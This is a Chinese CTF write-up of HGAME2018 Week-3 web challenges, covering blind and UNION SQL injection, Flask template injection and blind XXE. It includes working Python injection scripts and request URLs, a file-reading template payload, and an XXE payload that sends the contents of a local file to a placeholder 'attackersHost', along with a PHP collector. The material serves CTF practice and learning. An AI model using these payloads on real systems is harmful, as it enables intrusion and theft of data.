HGAME2018 Week-3 Web Writeup

文章目录
  1. 1. 正常的SQLi
  2. 2. 简单的SQLi
  3. 3. 送分的SQLi
  4. 4. ngc’s blog
  5. 5. **书店

正常的SQLi

打开以后说什么都没有…我猜是源码泄露,直接加上.bak就爆出源码了…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
.....

$username = base64_decode($_COOKIE['name']);

.....

$sql = "select * from user where username = '{$username}'";
$re = mysqli_query($conn, $sql);
$rs = mysqli_fetch_array($re);

// echo $rs['flag'];
echo $username . '<br/>';
echo "因为出题人太懒了,所以现在没有任何功能";

.....

看起来觉得像是cookie注入,还需要进行base64加密,重新进入index.php抓包进行分析,先进性一次url解码然后再base64解码后发现是guest。
所以这里切换为admin,然后base64加密,YWRtaW4=,等号用%3d进行绕过测试,界面变成了hello admin,so…应该就是cookie注入,所以写脚本注入。
首先判断数据库的长度:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import urllib
import requests
import base64
import time

#test the length of database.

def main():
url="http://123.206.203.108:10010/normalSQLi/index.php"
for i in range(1,30):
r=requests.session()
payload="admin' or if(length(database())="+str(i)+",1,sleep(3))#"
cookie={"name":urllib.quote(base64.b64encode(payload))}
start_time=time.time()
r.post(url=url,cookies=cookie)
if time.time()-start_time<2:
print "The length of database is ",i
break

if __name__=="__main__":
main()

数据库长度为4,然后就是一系列的查找什么的…

1
https://willardtm.github.io/2018/02/19/sqlilabs-Less-5~6/

但是我觉得这样做一道题感觉有些麻烦,我在想能不能减少一些步骤来提高效率,so我找到了一份大师傅的WP,对比一下我发现大师傅和我做的不一样的是大师傅没有直接跑出对应表/列的长度,而是定义了一个比较大的数字直接运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import base64
import urllib
url = "http://123.206.203.108:10010/normalSQLi/index.php"
flag = ""
for i in range(1,1000):
for j in range(33,127):
#payload = "admin' or if((ascii(substr((),%s,1))=%s),sleep(3),false)#"%(i,j) user
#payload = "admin' or if((ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s),sleep(3),false)#"%(i,j) user
#payload = "admin' or if((ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user'),%s,1))=%s),sleep(3),false)#"%(i,j)
payload = "admin' or if((ascii(substr((select flag from user limit 2,1),%s,1))=%s),sleep(3),false)#"%(i,j)
cookie = {
"name":urllib.quote(base64.b64encode(payload))
}
try:
r = requests.get(url=url,cookies=cookie,timeout=2.5)
except:
flag +=chr(j)
print flag
break

大师傅博客链接:

1
http://skysec.top/2018/02/21/week3-hgame%E4%B9%8Bweb%E7%B2%97%E7%95%A5%E8%AE%B0%E5%BD%95/#week3-%E4%B9%A6%E5%BA%97

简单的SQLi

这道不太会…(拿出小本本记好),等一等wp。

送分的SQLi

id=1这里是注入点,然后常规注入就行。

1
http://118.25.18.223:10068/?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

爆出表:f111aa4g,users

1
http://118.25.18.223:10068/?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x6631313161613467%23

爆出列:id,dajiangyoude,f111aaaggg_w3

1
http://118.25.18.223:10068/?id=-1 union select 1,f111aaaggg_w3 from f111aa4g%23

这样就能拿到flag。

1
hgame{Th3_e4sist_sql_injeCti0n##}

ngc’s blog

这是一道基于Python的模板注入…可以直接google搜索Flask漏洞…下面就是一大堆…所以对当前URL进行测试。

1
http://111.230.105.104:5000/{{'abcd'}}


1
http://111.230.105.104:5000/{{'abcd'.upper()}}

然后发现abcd这四个字母变成了大写字母…通过这里发现能够进行代码执行…

1
http://111.230.105.104:5000/{{''.__class__.__base__.__subclasses__()}}

发现这里返回出了两个东西,but好像没什么用…

1
http://111.230.105.104:5000/{{''.__class__.__mro__[2].__subclasses__()}}

通过这样的方法就能看到所有类

1
http://111.230.105.104:5000/{{''.__class__.__mro__[2].__subclasses__()[40]('flag').read()}}


提示说flag在flag里面,所以读取…OK拿到flag…

参考资料:

1
http://drops.xmd5.com/static/drops/tips-13683.html

**书店

题目上已经给出来了

1
2
3
4
5
<!--
不喜欢我推荐的?那就把你喜欢的传上来看看啊
<input name="a" type="text">
我只收经过base64的xml格式的书哦
-->

所以这很明显是一个xml注入攻击,根据题目提示flag在/a/b下面,所以这是一个外部实体注入的xml,先构建xml攻击语句。

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY w SYSTEM "file:///a/b">
]>
<root>&w;</root>

base64加密以后post数据…然而…什么回显都没有,想想这题250分,应该没这么简单,那就是Blind XXE了。
所以重新构造…

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % data SYSTEM "file:///a/b">
<!ENTITY % remote SYSTEM "http://attackersHost/xxe.xml">
%remote;
%all;
]>
<root>&send;</root>

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attackersHost/xxe.php?data=%data;'>">
1
2
3
4
5
<?php

if(isset($_GET['data'])) {
file_put_contents('data', $_GET['data']);
}

参考资料:

1
http://blog.csdn.net/u011721501/article/details/43775691